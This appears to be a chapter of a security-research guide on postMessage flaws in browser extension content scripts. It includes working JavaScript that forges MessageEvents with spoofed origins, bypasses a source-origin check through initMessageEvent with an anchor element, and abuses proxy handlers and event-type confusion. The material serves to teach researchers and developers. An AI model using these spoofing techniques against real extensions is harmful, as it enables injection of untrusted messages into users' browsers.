Exploit Messages
This topic is closely related to the previous chapter, but it is more important. It is one of the most common mistakes I have encountered.
As mentioned earlier, one of the main ways to transmit data in a content script is postMessage
. However, the problem is that people use the same approaches for messages on websites as they do for postMessage in extensions, which leads to errors.
Let's consider an example of a content script
:
//...
window.addEventListener("message",()=>{
if(event.origin !== "https://connector.trusted.origin")
return;
//...
})
//...
Such logic is often applied in situations where extension developers want to allow a trusted site (most often their own, implementing auth) to transmit data to the content script, while not wanting those data to be sent by other origins.
This check is indeed correct, but only if we are talking about web applications, not extensions. I think if you read the previous chapter, it is obvious to you that an attacker's site can simply do something like:
const event = new MessageEvent("message",{data:{test:1}, origin: "https://connector.trusted.origin"})
window.dispatchEvent(event)
Source manipulation
However, during my research on extensions, I encountered such logic several times:
window.addEventListener("message",()=>{
if(event.source.origin !== "https://connector.trusted.origin")
return;
//...
})
At first glance, you might think that in this case, the situation is identical and you can do something like:
const new_window = window.open("https://connector.trusted.origin");
const event = new MessageEvent("message",{data:{test:1}, origin: "https://connector.trusted.origin", source: new_window})
window.dispatchEvent(event)
However, our origin (and the content script within it, respectively) does not have access to new_window.origin
due to CORS.
Perhaps someone had the idea to simply pass an object in the source, something like this:
const event = new MessageEvent("message",{data:{test:1}, origin: "https://connector.trusted.origin", source: {origin:"https://connector.trusted.origin"}})
window.dispatchEvent(event)
But you will get an error:
Uncaught TypeError: Failed to construct 'MessageEvent': Failed to read the 'source' property from 'MessageEventInit': Failed to convert value to 'EventTarget'.
But what is EventTarget?
The EventTarget interface is implemented by objects that can receive events and may have listeners for them. In other words, any target of events implements the three methods associated with this interface. Element, and its children, as well as Document and Window, are the most common event targets, but other objects can be event targets, too. For example, IDBRequest, AudioNode, and AudioContext are also event targets.
Does this mean that we can use any EventTarget in message.source? - No. For example, you can run the code:
const event = new MessageEvent("message",{source: document})
window.dispatchEvent(event)
You will get an error:
Uncaught TypeError: Failed to construct 'MessageEvent': The optional 'source' property is neither a Window nor MessagePort.
At this point, one might give up, but I went to read the source code of Chromium. This check is located at the following address
static inline bool IsValidSource(EventTarget* source) {
return !source || source->ToDOMWindow() || source->ToMessagePort() ||
source->ToServiceWorker();
}
// ...
if (initializer->hasSource() && IsValidSource(initializer->source()))
source_ = initializer->source();
However, in this same file, there is another way to initialize a message initMessageEvent
:
void MessageEvent::initMessageEvent(const AtomicString& type,
bool bubbles,
bool cancelable,
const ScriptValue& data,
const String& origin,
const String& last_event_id,
EventTarget* source,
MessagePortArray ports) {
if (IsBeingDispatched())
return;
initEvent(type, bubbles, cancelable);
data_type_ = kDataTypeScriptValue;
data_as_v8_value_.Set(data.GetIsolate(), data.V8Value());
is_data_dirty_ = true;
origin_ = origin;
last_event_id_ = last_event_id;
source_ = source;
if (ports.empty()) {
ports_ = nullptr;
} else {
ports_ = MakeGarbageCollected<MessagePortArray>(std::move(ports));
}
is_ports_dirty_ = true;
}
As you can see, the Chromium developers skipped the corresponding check in it. Therefore, you can execute:
var exploit_message = new MessageEvent("message");
exploit_message.initMessageEvent("message",false,false,{},"https://example.origin","",document,[])
window.dispatchEvent(exploit_message)
You will see that the message was successfully sent, and the source is the document. Now, to bypass the check discussed earlier, you just need to execute the following code:
const source = document.createElement('a')
source.href="https://connector.trusted.origin"
exploit_message.initMessageEvent("message",false,false,{},"https://example.origin","",source,[])
This will work because the <a>
tag has a default getter for origin
.
I reported this issue to the Chrome developers, but they said they do not want to fix it at this time. So you can freely use this technique in your research.
postMessage proxy Attack
Also, while reviewing extensions, I noticed a fairly common pattern:
window.addEventListener("message",(event)=>{
if(event.data.type==='to_content_script'){
window.postMessage(event.data, '*')
}
})
// OR
window.addEventListener("message",(event)=>{
window.postMessage(handlers[event.data.type](event.data.data), '*')
})
The problem with such solutions is that while you may not be creating problems for your extension, you allow messages to be sent from the origin of any site on which this content script is running. In the first case, this is obvious, and in the second case, the problem is that we can send a message like:
targetWindow.postMessage({type: "constructor", data: {...}})
Because handlers["constructor"](event.data.data)
simply reflects the data.
Therefore, the presence of a proxy pattern in an extension can be considered a vulnerability.
Event Type Confusion
I have also never seen anyone check the type of the event they receive.
The fact is that we can send an event of any type with any name, for example:
const event = new InputEvent("message",{data: "text"})
window.dispatchEvent(event)
And you will see that the message
listener will intercept this event. It will have a data
field, but it will not have source
and origin
fields, which often also leads to errors.